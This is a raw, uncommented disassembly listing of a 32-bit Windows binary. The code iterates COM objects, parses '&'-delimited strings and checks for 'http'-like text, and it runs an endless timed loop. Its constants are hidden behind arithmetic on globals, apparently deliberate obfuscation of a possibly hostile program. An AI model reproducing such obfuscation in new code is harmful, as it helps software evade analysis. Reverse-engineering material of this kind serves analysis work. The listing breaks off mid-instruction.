sub_441ADA+6Bj inc [ebp+var_44] mov eax, [ebp+var_48] movzx eax, word ptr [eax] cmp [ebp+var_44], eax jnb short loc_441B47 push ebx lea eax, [ebp+var_40] push eax call sub_43B0C6 add esp, 8 jmp short loc_441B2A ; --------------------------------------------------------------------------- loc_441B47: ; CODE XREF: sub_441ADA+5Cj mov esi, dword_54F0B8 sub esi, 4 jmp short loc_441B63 ; --------------------------------------------------------------------------- loc_441B52: ; CODE XREF: sub_441ADA+93j mov edx, esi shl edx, 1 mov ecx, [ebp+arg_4] mov dx, [ebp+edx+var_40] mov [ecx+esi*2], dx inc esi loc_441B63: ; CODE XREF: sub_441ADA+76j mov eax, dword_54F120 add eax, 18h cmp esi, eax jb short loc_441B52 pop edi pop esi pop ebx leave retn sub_441ADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441B74 proc near ; CODE XREF: sub_444ED7+344p var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = word ptr -38h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi movsx eax, word_54F218 add eax, dword_54F1D4 sub eax, 8 mov [ebp+var_4], eax jmp short loc_441BB4 ; --------------------------------------------------------------------------- loc_441B92: ; CODE XREF: sub_441B74+4Bj mov eax, 30h mul [ebp+var_4] mov [ebp+var_20], eax movsx eax, word_54F244 sub eax, 7 mov edx, [ebp+var_20] mov ds:dword_4CA550[edx], eax inc [ebp+var_4] loc_441BB4: ; CODE XREF: sub_441B74+1Cj mov eax, dword_54F0B0 add eax, 5Fh cmp [ebp+var_4], eax jb short loc_441B92 movsx eax, word_54F0D0 sub eax, 6 push eax call ds:dword_449084 push offset dword_54F2E8 push offset dword_550A88 push 7 mov eax, dword_54F1B0 sub eax, 7 push eax push offset dword_5509C8 call ds:dword_4495D4 mov ebx, eax mov eax, dword_54F220 sub eax, 2 cmp ebx, eax jnz loc_441DAD lea eax, [ebp+var_C] push eax mov eax, dword_54F2E8 push eax mov edi, [eax] call dword ptr [edi+1Ch] mov ebx, eax mov eax, dword_54F204 sub eax, 2 cmp ebx, eax jnz short loc_441C2E mov eax, dword_54F220 sub eax, 2 cmp [ebp+var_C], eax jnz short loc_441C33 loc_441C2E: ; CODE XREF: sub_441B74+ABj jmp loc_441D34 ; --------------------------------------------------------------------------- loc_441C33: ; CODE XREF: sub_441B74+B8j movsx eax, word_54F0C4 add eax, dword_54F0E8 sub eax, 7 mov [ebp+var_8], eax jmp loc_441D28 ; --------------------------------------------------------------------------- loc_441C4B: ; CODE XREF: sub_441B74+1BAj mov eax, [ebp+var_8] mov [ebp+var_30], eax mov [ebp+var_38], 3 lea eax, [ebp+var_3C] push eax lea esi, [ebp+var_38] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, dword_54F2E8 push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax mov eax, dword_54F0F0 add eax, dword_54F16C sub eax, 8 cmp ebx, eax jnz loc_441D25 lea eax, [ebp+var_40] push eax push offset dword_550AA8 mov eax, [ebp+var_3C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_54F22C add eax, dword_54F0D8 sub eax, 0Dh cmp ebx, eax jnz short loc_441D1C lea eax, off_54F2E4 mov [ebp+var_24], eax push eax mov esi, [eax] call dword ptr [esi+4] lea eax, [ebp+var_44] push eax push offset dword_5509E8 mov eax, [ebp+var_24] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax cmp ebx, dword_54F0BC jnz short loc_441D0A lea eax, [ebp+var_48] push eax push offset dword_5509E8 push [ebp+var_44] push [ebp+var_40] call sub_43D748 add esp, 10h mov [ebp+var_4C], eax mov eax, [ebp+var_44] push eax mov esi, [eax] call dword ptr [esi+8] loc_441D0A: ; CODE XREF: sub_441B74+171j mov eax, [ebp+var_24] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_40] push eax mov esi, [eax] call dword ptr [esi+8] loc_441D1C: ; CODE XREF: sub_441B74+142j mov eax, [ebp+var_3C] push eax mov esi, [eax] call dword ptr [esi+8] loc_441D25: ; CODE XREF: sub_441B74+114j inc [ebp+var_8] loc_441D28: ; CODE XREF: sub_441B74+D2j mov eax, [ebp+var_C] cmp [ebp+var_8], eax jb loc_441C4B loc_441D34: ; CODE XREF: sub_441B74:loc_441C2Ej lea eax, off_54F308 mov [ebp+var_10], eax push eax mov esi, [eax] call dword ptr [esi+4] lea eax, [ebp+var_14] push eax push offset dword_5509D8 mov eax, [ebp+var_10] push eax mov esi, [eax] call dword ptr ds:0[esi] mov eax, [ebp+var_10] push eax mov esi, [eax] call dword ptr [esi+8] lea eax, [ebp+var_1C] push eax push offset dword_5509D8 push [ebp+var_14] push dword_54F2E8 call sub_43D748 add esp, 10h mov [ebp+var_18], eax mov eax, dword_54F1F8 movsx edx, word_54F198 add eax, edx sub eax, 4 cmp [ebp+var_18], eax jnz short loc_441DAD mov eax, dword_54F2E8 push eax mov esi, [eax] call dword ptr [esi+8] mov eax, dword_54F14C sub eax, 2 mov dword_54F2E8, eax loc_441DAD: ; CODE XREF: sub_441B74+8Aj ; sub_441B74+21Fj pop edi pop esi pop ebx leave retn sub_441B74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441DB2 proc near ; CODE XREF: sub_440B06+2p ; sub_440B06+9p var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push edi lea eax, [ebp+var_104] push eax movsx eax, word_54F0FC sub eax, 2 push eax mov eax, dword_54F224 movsx edx, word_54F094 add eax, edx sub eax, 3 push eax push [ebp+arg_0] mov eax, dword_54F120 sub eax, 8 push eax call ds:dword_489A00 mov edi, eax or edi, edi jnz short loc_441E23 push offset word_54F7FA call sub_43AAF7 push eax lea edi, [ebp+var_104] push edi call ds:dword_44602C push 1 push 43h lea eax, [ebp+var_104] push eax call sub_43E77A add esp, 18h loc_441E23: ; CODE XREF: sub_441DB2+44j pop edi leave retn sub_441DB2 endp ; =============== S U B R O U T I N E ======================================= sub_441E26 proc near ; DATA XREF: .data:0054F2BCo mov eax, 80004001h retn 18h sub_441E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441E2E proc near ; CODE XREF: sub_441843+1CFp var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, [ebp+arg_0] push 0 push 0 push 3 push 0 push 0 push 80000000h push offset dword_4CA230 call ds:dword_54DB18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_441E78 mov eax, dword_54F0D8 sub eax, 6 mov edx, dword_54F0A0 add edx, dword_54F1BC sub edx, 9 mov [esi+eax], dl jmp loc_441F01 ; --------------------------------------------------------------------------- loc_441E78: ; CODE XREF: sub_441E2E+29j push 0 movsx eax, word_54F1CC sub eax, 9 push eax push [ebp+arg_4] push edi call ds:dword_54DF30 mov eax, dword_54F184 movsx edx, word_54F0B4 add eax, edx sub eax, 9 push eax lea eax, [ebp+var_4] push eax movsx eax, word_54F148 movsx edx, word_54F144 lea eax, [eax+edx+0Fh] push eax push esi push edi call ds:dword_446034 mov ebx, eax push edi call ds:dword_4CB948 movsx eax, word_54F128 movsx edx, word_54F118 add eax, edx sub eax, 0Dh cmp ebx, eax jnz short loc_441F01 mov eax, dword_54F0AC add eax, dword_54F1E4 sub eax, 0Bh movsx edx, word_54F0C4 add edx, dword_54F0B0 sub edx, 0Bh mov [esi+eax], dl loc_441F01: ; CODE XREF: sub_441E2E+45j ; sub_441E2E+B0j pop edi pop esi pop ebx leave retn sub_441E2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441F06 proc near ; CODE XREF: sub_44526D+1Ep ; sub_44526D+259p var_10088 = dword ptr -10088h var_10084 = dword ptr -10084h var_10080 = dword ptr -10080h var_1007C = dword ptr -1007Ch var_10078 = word ptr -10078h var_10070 = dword ptr -10070h var_10064 = dword ptr -10064h var_10060 = dword ptr -10060h var_1005C = dword ptr -1005Ch var_10055 = byte ptr -10055h var_10054 = dword ptr -10054h var_10050 = dword ptr -10050h var_1004C = dword ptr -1004Ch var_10048 = dword ptr -10048h var_10044 = dword ptr -10044h var_1003F = byte ptr -1003Fh var_40 = word ptr -40h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 10088h call sub_4455B4 push ebx push esi push edi push offset dword_54F7EC call sub_43DEC5 pop ecx push eax call ds:dword_44700C mov [ebp+var_38], eax mov [ebp+var_40], 8 lea eax, [ebp+var_2C] push eax lea esi, [ebp+var_40] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_4] push edi mov edi, [edi] call dword ptr [edi+30h] mov ebx, eax mov eax, dword_54F188 sub eax, 5 cmp ebx, eax jz short loc_441F62 xor eax, eax jmp loc_44266C ; --------------------------------------------------------------------------- loc_441F62: ; CODE XREF: sub_441F06+53j lea eax, [ebp+var_24] push eax push offset dword_550A38 mov eax, [ebp+var_2C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_54F0EC dec eax cmp ebx, eax jnz loc_442661 lea eax, [ebp+var_28] push eax mov eax, [ebp+var_24] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax mov eax, dword_54F0E0 sub eax, 6 cmp ebx, eax jnz loc_442658 mov eax, dword_54F158 sub eax, 3 mov [ebp+var_1C], eax jmp loc_44264C ; --------------------------------------------------------------------------- loc_441FB7: ; CODE XREF: sub_441F06+74Cj mov eax, [ebp+var_1C] mov [ebp+var_10], eax mov [ebp+var_18], 2 lea eax, [ebp+var_4] push eax lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_24] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax mov eax, dword_54F158 sub eax, 3 cmp ebx, eax jnz loc_442649 mov eax, dword_54F204 movsx edx, word_54F0CC add eax, edx sub eax, 3 mov [ebp+var_10044], eax lea eax, [ebp+var_10044] push eax push offset dword_550A48 mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_54F13C sub eax, 9 cmp ebx, eax jnz loc_442615 cmp [ebp+var_10044], 0 jz loc_442615 lea eax, [ebp+var_20] push eax mov eax, [ebp+var_10044] push eax mov edi, [eax] call dword ptr [edi+0F8h] mov ebx, eax or ebx, ebx jnz loc_442615 lea eax, [ebp+var_1003F] push eax push [ebp+var_20] call sub_43BBFE mov eax, dword_54F12C sub eax, 7 push eax push offset dword_48A200 lea eax, [ebp+var_1003F] push eax call sub_43DE22 add esp, 14h mov edi, dword_54F20C add edi, 0FFFBh add edi, dword_54F238 cmp eax, edi jz loc_442615 movsx eax, word_54F1E8 sub eax, 6 cmp [ebp+arg_8], eax jnz short loc_4420E0 mov eax, [ebp+var_10044] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] xor eax, eax inc eax jmp loc_44266C ; --------------------------------------------------------------------------- loc_4420E0: ; CODE XREF: sub_441F06+1BBj movsx eax, word_54F194 add eax, dword_54F1C8 sub eax, 9 mov [ebp+var_1007C], eax lea eax, [ebp+var_1007C] push eax push offset dword_550A68 mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_54F0F8 sub eax, 5 cmp ebx, eax jnz loc_442615 mov [ebp+var_10055], 44h push offset word_54F7E2 call sub_43AAF7 movsx edi, word_54F218 movsx esi, word_54F128 add edi, esi sub edi, 4 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_43DE22 add esp, 10h movsx esi, word_54F190 add esi, 0FFF7h cmp eax, esi jz short loc_442170 mov [ebp+var_10055], 50h loc_442170: ; CODE XREF: sub_441F06+261j push offset word_54F7DA call sub_43AAF7 movsx edi, word_54F208 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_43DE22 add esp, 10h mov esi, dword_54F0C0 add esi, 0FFFDh cmp eax, esi jz short loc_4421A9 mov [ebp+var_10055], 43h loc_4421A9: ; CODE XREF: sub_441F06+29Aj push offset word_54F7D2 call sub_43AAF7 mov edi, dword_54F0EC add edi, dword_54F11C sub edi, 2 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_43DE22 add esp, 10h mov esi, dword_54F1B0 sub esi, 3 mov edi, eax add edi, esi mov [ebp+var_10064], edi mov [ebp+var_10050], edi loc_4421EC: ; CODE XREF: sub_441F06+2FCj mov eax, [ebp+var_10050] cmp [ebp+eax+var_1003F], 26h jz short loc_442204 inc [ebp+var_10050] jmp short loc_4421EC ; --------------------------------------------------------------------------- loc_442204: ; CODE XREF: sub_441F06+2F4j mov eax, [ebp+var_10050] mov edx, dword_54F0A4 sub edx, 7 mov [ebp+eax+var_1003F], dl mov eax, [ebp+var_10064] lea eax, [ebp+eax+var_1003F] push eax call ds:dword_44701C mov [ebp+var_10080], eax push offset byte_54F7CB call sub_43AAF7 movsx edi, word_54F244 add edi, dword_54F180 sub edi, 6 push edi push eax lea edi, [ebp+var_1003F] push edi call sub_43DE22 add esp, 14h mov esi, dword_54F170 add esi, dword_54F180 dec esi mov edi, eax add edi, esi mov [ebp+var_10064], edi mov [ebp+var_10050], edi loc_44227C: ; CODE XREF: sub_441F06+38Cj mov eax, [ebp+var_10050] cmp [ebp+eax+var_1003F], 26h jz short loc_442294 inc [ebp+var_10050] jmp short loc_44227C ; --------------------------------------------------------------------------- loc_442294: ; CODE XREF: sub_441F06+384j mov eax, [ebp+var_10050] mov edx, dword_54F174 sub edx, 7 mov [ebp+eax+var_1003F], dl mov eax, [ebp+var_10064] lea eax, [ebp+eax+var_1003F] push eax call ds:dword_44701C pop ecx mov [ebp+var_1005C], eax mov eax, dword_54F234 add eax, dword_54F20C sub eax, 0Ch cmp [ebp+var_10080], eax ja short loc_442355 mov eax, dword_54F0BC mov [ebp+var_10048], eax jmp short loc_442339 ; --------------------------------------------------------------------------- loc_4422E8: ; CODE XREF: sub_441F06+44Dj mov edi, [ebp+var_10048] mov esi, edi shl esi, 2 movsx edx, word_54F128 sub edx, 5 cmp ds:dword_4480E0[esi], edx jz short loc_442333 mov edx, [ebp+var_1005C] cmp ds:dword_447020[esi], edx jnz short loc_442333 mov dl, ds:byte_4491B0[edi] cmp dl, [ebp+var_10055] jnz short loc_442333 movsx esi, word_54F208 dec esi mov ds:dword_4480E0[edi*4], esi loc_442333: ; CODE XREF: sub_441F06+3FEj ; sub_441F06+40Dj ... inc [ebp+var_10048] loc_442339: ; CODE XREF: sub_441F06+3E0j movsx eax, word_54F0A8 mov edx, dword_54F1FC lea eax, [eax+edx+3E8h] cmp [ebp+var_10048], eax jb short loc_4422E8 loc_442355: ; CODE XREF: sub_441F06+3D3j call ds:dword_54CA70 mov [ebp+var_10060], eax mov eax, dword_54F1EC movsx edx, word_54F1C4 add eax, edx sub eax, 0Bh mov [ebp+var_1004C], eax jmp short loc_4423E4 ; --------------------------------------------------------------------------- loc_44237A: ; CODE XREF: sub_441F06+4F4j mov edi, [ebp+var_1004C] shl edi, 2 movsx esi, word_54F164 dec esi cmp ds:dword_4480E0[edi], esi jz short loc_4423DE mov edi, ds:dword_4CB950[edi] mov esi, dword_54F1DC add esi, 0EA60h mov edx, dword_54F0C0 inc edx add edx, dword_54F1AC imul esi, edx add edi, esi cmp edi, [ebp+var_10060] jnb short loc_4423DE mov edi, [ebp+var_1004C] movsx esi, word_54F194 add esi, dword_54F0DC sub esi, 5 mov ds:dword_4480E0[edi*4], esi loc_4423DE: ; CODE XREF: sub_441F06+48Cj ; sub_441F06+4B9j inc [ebp+var_1004C] loc_4423E4: ; CODE XREF: sub_441F06+472j mov eax, dword_54F0DC add eax, 3DFh add eax, dword_54F0D4 cmp [ebp+var_1004C], eax jb loc_44237A mov eax, dword_54F200 add eax, dword_54F1FC sub eax, 5 mov [ebp+var_10054], eax jmp short loc_44243A ; --------------------------------------------------------------------------- loc_442416: ; CODE XREF: sub_441F06+54Dj mov edi, [ebp+var_10054] mov esi, dword_54F11C add esi, dword_54F1B4 sub esi, 6 cmp ds:dword_4480E0[edi*4], esi jz short loc_442455 inc [ebp+var_10054] loc_44243A: ; CODE XREF: sub_441F06+50Ej mov eax, dword_54F14C add eax, 3DDh movsx edx, word_54F13C add eax, edx cmp [ebp+var_10054], eax jb short loc_442416 loc_442455: ; CODE XREF: sub_441F06+52Cj mov edi, [ebp+var_10054] mov esi, [ebp+var_1005C] mov ds:dword_447020[edi*4], esi mov esi, [ebp+arg_0] mov ds:dword_446060[edi*4], esi mov eax, edi mov dl, [ebp+var_10055] mov ds:byte_4491B0[eax], dl movsx eax, word_54F1A8 add eax, dword_54F19C sub eax, 4 cmp [ebp+var_10080], eax jbe loc_44255F mov esi, dword_54F1EC add esi, 0FFFCh movsx edx, word_54F218 add esi, edx mov ds:word_489A10[edi*2], si mov eax, dword_54F154 add eax, dword_54F220 sub eax, 0Ah mov [ebp+var_10088], eax jmp short loc_442547 ; --------------------------------------------------------------------------- loc_4424D0: ; CODE XREF: sub_441F06+651j mov edi, [ebp+var_10088] mov esi, edi shl esi, 2 mov edx, dword_54F154 movsx ecx, word_54F190 add edx, ecx sub edx, 10h cmp ds:dword_4480E0[esi], edx jz short loc_442541 movzx edx, ds:word_489A10[edi*2] mov ecx, dword_54F178 add ecx, 0FFF6h movsx eax, word_54F1A8 add ecx, eax cmp edx, ecx jz short loc_442541 mov edx, [ebp+var_1005C] cmp ds:dword_447020[esi], edx jnz short loc_442541 mov dl, ds:byte_4491B0[edi] cmp dl, [ebp+var_10055] jnz short loc_442541 lea edi, ds:489A10h[edi*2] inc word ptr [edi] jmp short loc_44257C ; --------------------------------------------------------------------------- loc_442541: ; CODE XREF: sub_441F06+5EEj ; sub_441F06+60Fj ... inc [ebp+var_10088] loc_442547: ; CODE XREF: sub_441F06+5C8j mov eax, dword_54F0B8 add eax, 3E4h cmp [ebp+var_10088], eax jb loc_4424D0 jmp short loc_44257C ; --------------------------------------------------------------------------- loc_44255F: ; CODE XREF: sub_441F06+591j mov edi, [ebp+var_10054] mov esi, dword_54F1BC add esi, dword_54F188 sub esi, 0Ah mov ds:word_489A10[edi*2], si loc_44257C: ; CODE XREF: sub_441F06+639j ; sub_441F06+657j call ds:dword_54CA70 mov edi, [ebp+var_10054] mov ds:dword_4CB950[edi*4], eax lea esi, off_54F2A8 mov ds:dword_4480E0[edi*4], esi mov edi, [ebp+var_10054] lea edi, ds:4480E0h[edi*4] mov [ebp+var_10084], edi mov eax, edi push eax mov esi, [eax] call dword ptr [esi+4] mov edi, [ebp+var_10054] lea edi, ds:4480E0h[edi*4] mov [ebp+var_10070], edi mov [ebp+var_10078], 9 lea esi, [ebp+var_10078] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_1007C] push edi mov edi, [edi] call dword ptr [edi+0A4h] mov ebx, eax lea eax, [ebp+var_10078] push eax call ds:dword_54E044 inc [ebp+var_10054] mov eax, [ebp+var_1007C] push eax mov esi, [eax] call dword ptr [esi+8] loc_442615: ; CODE XREF: sub_441F06+138j ; sub_441F06+145j ... mov eax, dword_54F1A0 sub eax, 8 cmp [ebp+var_10044], eax jz short loc_442631 mov eax, [ebp+var_10044] push eax mov esi, [eax] call dword ptr [esi+8] loc_442631: ; CODE XREF: sub_441F06+71Dj movsx eax, word_54F240 sub eax, 8 cmp [ebp+var_4], eax jz short loc_442649 mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] loc_442649: ; CODE XREF: sub_441F06+F4j ; sub_441F06+738j inc [ebp+var_1C] loc_44264C: ; CODE XREF: sub_441F06+ACj mov eax, [ebp+var_28] cmp [ebp+var_1C], eax jb loc_441FB7 loc_442658: ; CODE XREF: sub_441F06+9Bj mov eax, [ebp+var_24] push eax mov esi, [eax] call dword ptr [esi+8] loc_442661: ; CODE XREF: sub_441F06+7Cj mov eax, [ebp+var_2C] push eax mov esi, [eax] call dword ptr [esi+8] xor eax, eax loc_44266C: ; CODE XREF: sub_441F06+57j ; sub_441F06+1D5j pop edi pop esi pop ebx leave retn sub_441F06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442671 proc near ; CODE XREF: sub_44293B:loc_44293Ep var_252 = byte ptr -252h var_236 = dword ptr -236h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 push ebp mov ebp, esp sub esp, 254h push ebx push esi push edi lea eax, [ebp+var_114] push eax movsx eax, word_54F1C4 sub eax, 8 push eax mov eax, dword_54F154 sub eax, 8 push eax push 21h movsx eax, word_54F164 dec eax push eax call ds:dword_489A00 mov ebx, eax or ebx, ebx jnz loc_4427C8 lea eax, [ebp+var_10] push eax call ds:dword_4CA430 mov eax, dword_54F0DC movzx edx, [ebp+var_6] movzx ecx, [ebp+var_8] mov ebx, dword_54F1BC add ebx, 36h imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_A] movsx ebx, word_54F144 mov esi, dword_54F0E8 lea ebx, [ebx+esi+13h] imul ecx, ebx movsx ebx, word_54F240 add ebx, 34h imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_E] movsx ebx, word_54F118 mov esi, dword_54F1D0 lea ebx, [ebx+esi+0Fh] imul ecx, ebx mov ebx, dword_54F14C add ebx, 15h movsx esi, word_54F148 add ebx, esi imul ecx, ebx movsx ebx, word_54F13C mov esi, dword_54F124 lea ebx, [ebx+esi+31h] imul ecx, ebx add edx, ecx movzx ecx, [ebp+var_10] mov ebx, dword_54F0DC add ebx, 8 imul ecx, ebx mov ebx, dword_54F188 add ebx, 11h add ebx, dword_54F154 imul ecx, ebx movsx ebx, word_54F0F8 lea eax, [ebx+eax+0Fh] imul ecx, eax mov eax, dword_54F1B8 add eax, 34h add eax, dword_54F150 imul ecx, eax mov eax, edx add eax, ecx mov ds:dword_446030, eax mov eax, dword_54F22C add eax, dword_54F180 sub eax, 6 mov [ebp+var_236], eax lea esi, [ebp+var_252] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_114] push edi call sub_43BE84 add esp, 144h loc_4427C8: ; CODE XREF: sub_442671+3Cj pop edi pop esi pop ebx leave retn sub_442671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4427CD proc near ; CODE XREF: sub_43BA83+5Bp var_1007 = byte ptr -1007h var_1006 = byte ptr -1006h var_1002 = byte ptr -1002h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1000h call sub_4455B4 push ebx push esi push edi push offset byte_54F7B9 call sub_43AAF7 pop ecx mov esi, dword_54F228 sub esi, 8 push esi push eax movsx esi, word_54F210 sub esi, 5 push esi push [ebp+arg_0] call ds:dword_50C930 mov edi, eax mov eax, dword_54F204 sub eax, 2 cmp edi, eax jnz short loc_442818 mov edi, [ebp+arg_0] loc_442818: ; CODE XREF: sub_4427CD+46j push offset byte_54F7A3 call sub_43AAF7 pop ecx mov esi, dword_54F180 movsx ebx, word_54F240 add esi, ebx sub esi, 8 push esi push eax movsx esi, word_54F0B4 add esi, dword_54F158 sub esi, 8 push esi push edi call ds:dword_50C930 mov edi, eax lea eax, [ebp+var_FFF] push eax push 0FFFh push 0Dh push edi call ds:dword_446018 mov eax, dword_54F090 add eax, dword_54F1B4 cmp [ebp+eax+var_1007], 20h jnz short loc_44288E mov eax, dword_54F20C cmp [ebp+eax+var_1002], 20h jz loc_44291E loc_44288E: ; CODE XREF: sub_4427CD+ACj lea ecx, [ebp+var_FFF] or eax, 0FFFFFFFFh loc_442897: ; CODE XREF: sub_4427CD+CFj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_442897 mov ebx, dword_54F0EC add ebx, 0Ch cmp eax, ebx jb short loc_44291E mov eax, dword_54F0AC cmp [ebp+eax+var_1006], 68h jnz short loc_4428C9 mov eax, dword_54F24C cmp [ebp+eax+var_1007], 74h jz short loc_44291E loc_4428C9: ; CODE XREF: sub_4427CD+EBj push offset word_54F79E call sub_43AAF7 movsx esi, word_54F164 add esi, 3 push esi push eax lea esi, [ebp+var_FFF] push esi call sub_43DE22 add esp, 10h movsx ebx, word_54F0A8 add ebx, 0FFFFh cmp eax, ebx jnz short loc_44291E push offset dword_54F798 call sub_43AAF7 pop ecx push eax mov esi, dword_54F1E4 sub esi, 4 push esi push 0Ch push edi call ds:dword_446018 loc_44291E: ; CODE XREF: sub_4427CD+BBj ; sub_4427CD+DCj ... pop edi pop esi pop ebx leave retn sub_4427CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442923 proc near ; CODE XREF: sub_43C397+4Ap ; sub_43C397+5Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_54F258 call ds:dword_4491AC mov edi, eax pop edi pop ebp retn sub_442923 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_44293B proc near ; DATA XREF: sub_441843+19Ao push ebp mov ebp, esp loc_44293E: ; CODE XREF: sub_44293B+2Dj call sub_442671 mov eax, dword_54F204 add eax, 76h mov edx, dword_54F0E0 add edx, 0EA58h add edx, dword_54F124 imul eax, edx push eax call ds:dword_50C924 pop ecx jmp short loc_44293E sub_44293B endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44296E proc near ; CODE XREF: sub_4394E9+1Fp var_71F16 = byte ptr -71F16h var_71F14 = dword ptr -71F14h var_71F10 = dword ptr -71F10h var_71F0B = byte ptr -71F0Bh var_70F0C = dword ptr -70F0Ch var_70F08 = word ptr -70F08h var_70F00 = dword ptr -70F00h var_70EF4 = dword ptr -70EF4h var_70EEF = byte ptr -70EEFh var_60EF0 = word ptr -60EF0h var_60EE8 = dword ptr -60EE8h var_60EDD = byte ptr -60EDDh var_60EDC = dword ptr -60EDCh var_60ED8 = dword ptr -60ED8h var_60ED4 = dword ptr -60ED4h var_60ED0 = word ptr -60ED0h var_60EC8 = dword ptr -60EC8h var_60EC0 = dword ptr -60EC0h var_60EBC = dword ptr -60EBCh var_60EB8 = dword ptr -60EB8h var_60EB4 = dword ptr -60EB4h var_60EB0 = dword ptr -60EB0h var_60EAC = dword ptr -60EACh var_60EA8 = dword ptr -60EA8h var_60EA4 = dword ptr -60EA4h var_60E9F = byte ptr -60E9Fh var_50EAC = byte ptr -50EACh var_50EA0 = dword ptr -50EA0h var_50E9B = byte ptr -50E9Bh var_40EB8 = byte ptr -40EB8h var_40EB0 = dword ptr -40EB0h var_40EA8 = word ptr -40EA8h var_40EA0 = dword ptr -40EA0h var_40E9C = dword ptr -40E9Ch var_40E98 = dword ptr -40E98h var_40E94 = byte ptr -40E94h var_40E90 = dword ptr -40E90h var_40E8C = dword ptr -40E8Ch var_40E88 = dword ptr -40E88h var_40E84 = dword ptr -40E84h var_40E80 = byte ptr -40E80h var_40E78 = dword ptr -40E78h var_40E70 = dword ptr -40E70h var_40E6C = dword ptr -40E6Ch var_40E68 = dword ptr -40E68h var_40E64 = dword ptr -40E64h var_40E60 = dword ptr -40E60h var_40E5C = dword ptr -40E5Ch var_40E57 = byte ptr -40E57h var_40E56 = byte ptr -40E56h var_40E55 = byte ptr -40E55h var_40E54 = byte ptr -40E54h var_30E58 = dword ptr -30E58h var_30E54 = dword ptr -30E54h var_30E50 = dword ptr -30E50h var_30E4C = dword ptr -30E4Ch var_30E48 = dword ptr -30E48h var_30E44 = dword ptr -30E44h var_30E3F = byte ptr -30E3Fh var_30D4A = byte ptr -30D4Ah var_30D44 = byte ptr -30D44h var_30D40 = byte ptr -30D40h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 71F14h call sub_4455B4 push ebx push esi push edi lea eax, [ebp+var_40E80] push eax call ds:dword_446048 lea eax, [ebp+var_40E94] push eax lea eax, [ebp+var_40E80] push eax push 9 mov eax, dword_54F1E4 sub eax, 4 push eax push [ebp+arg_0] call ds:dword_4CA224 mov ebx, eax mov eax, dword_54F100 add eax, dword_54F220 sub eax, 0Bh cmp ebx, eax jnz loc_4437C5 mov eax, dword_54F0E0 sub eax, 6 mov [ebp+var_40E60], eax mov ecx, [ebp+var_40E78] mov [ebp+var_40E64], ecx lea ecx, [ebp+var_40E60] push ecx push offset dword_550AA8 mov eax, [ebp+var_40E64] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_54F234 add eax, dword_54F14C sub eax, 0Ah cmp ebx, eax jnz loc_4437C5 lea eax, [ebp+var_40E84] push eax mov eax, [ebp+var_40E60] push eax mov edi, [eax] call dword ptr [edi+78h] mov ebx, eax mov eax, dword_54F0BC add eax, dword_54F1E0 sub eax, 4 cmp ebx, eax jnz loc_4437B9 lea eax, [ebp+var_40E57] push eax push [ebp+var_40E84] call sub_43BBFE add 